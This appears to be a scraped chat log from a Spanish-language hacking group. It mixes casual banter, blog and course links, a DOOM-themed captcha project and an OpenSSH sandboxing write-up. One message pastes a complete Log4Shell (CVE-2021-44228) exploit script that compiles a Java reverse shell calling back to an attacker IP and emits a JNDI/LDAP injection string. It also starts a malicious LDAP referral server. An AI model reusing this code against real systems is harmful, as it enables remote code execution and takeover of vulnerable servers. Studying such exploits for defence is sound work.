ӉѦСҠіИԌ ҬЄѦӍ ԌГԱթѺ ѺҒҒіСіѦL

Luego va a salir por ahí 😂😅

Thank bro

Y bueno si nadie dice un carajo como voy a saber

Some Great Cybersecurity & Hacking Documentaries Recommendations #CyberSecurity #Hack #infosec

Pues sí por eso de llama ERROR DE CAPA 8

Dominar Burp Suite Pro https://cb.run/Wmmu

😂😂😂 Uno más, vámonos, bye bye.

Nueva entrada en el blog THW https://thehackerway.com/2021/09/13/network-hacking-con-impacket-parte-6/

# Exploit Title: Apache Log4j 2 - Remote Code Execution (RCE) # Exploit Authors: kozmer, z9fr, svmorris # Vendor Homepage: https://logging.apache.org/log4j/2.x/ # Software Link: https://github.com/apache/logging-log4j2 # Version: versions 2.0-beta-9 and 2.14.1. # Tested on: Linux # CVE: CVE-2021-44228 # Github repo: https://github.com/kozmer/log4j-shell-poc import subprocess import os import sys javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version']) #stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) print("\n") userip = input("[+] Enter IP for LDAPRefServer & Shell: ") userport = input("[+] Enter listener port for LDAPRefServer: ") lport = input("[+] Set listener port for shell: ") def payload(): javapayload = (""" import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Exploit { public Exploit() throws Exception { String host="%s"; int port=%s; String cmd="/bin/sh"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) so.write(pi.read()); while(pe.available()>0) so.write(pe.read()); while(si.available()>0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e){ } }; p.destroy(); s.close(); } } """) % (userip,lport) f = open("Exploit.java", "w") f.write(javapayload) f.close() os.system('./jdk1.8.0_20/bin/javac Exploit.java') sendme = ("${jndi:ldap://%s:1389/a}") % (userip) print("[+] Send me: "+sendme+"\n") def marshalsec(): os.system("./jdk1.8.0_20/bin/java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://{}:{}/#Exploit".format (userip, userport)) if name== "main": payload() marshalsec() # 0day.today [2021-12-14] #

DOOM Captcha https://github.com/vivirenremoto/doomcaptcha Demostración: https://vivirenremoto.github.io/doomcaptcha/ Autor: https://github.com/vivirenremoto/doomcaptcha/graphs/contributors ==================== Si encuentra software interesante, compártalo con la comunidad

Entonces solo tendrías que crear sesiones sdp desde el dispositivo que quieras conectarte, por ejemplo vlc te permite hacer algo asi

Con. Algun programa

Y el ejemplo... Es simple.. Un if... Es igual para todos los leguajes... Cambia la sintaxis... Si!!! Pero el concepto de condicion es siempre la misma...

/ban

Bilbao

🔥🔥🔥Examining OpenSSH Sandboxing and Privilege Separation – Attack Surface Analysis This blog post provides an in-depth analysis of OpenSSH’s attack surface and security measures: 💾 How does OpenSSH implement Privilege Separation? 💾 OpenSSH Privilege Separation – In-Depth Analysis 💾 What is the OpenSSH Sandbox? 💾 OpenSSH Sandbox – In-Depth Analysis 💾 Conclusion – Don’t mess with the defaults!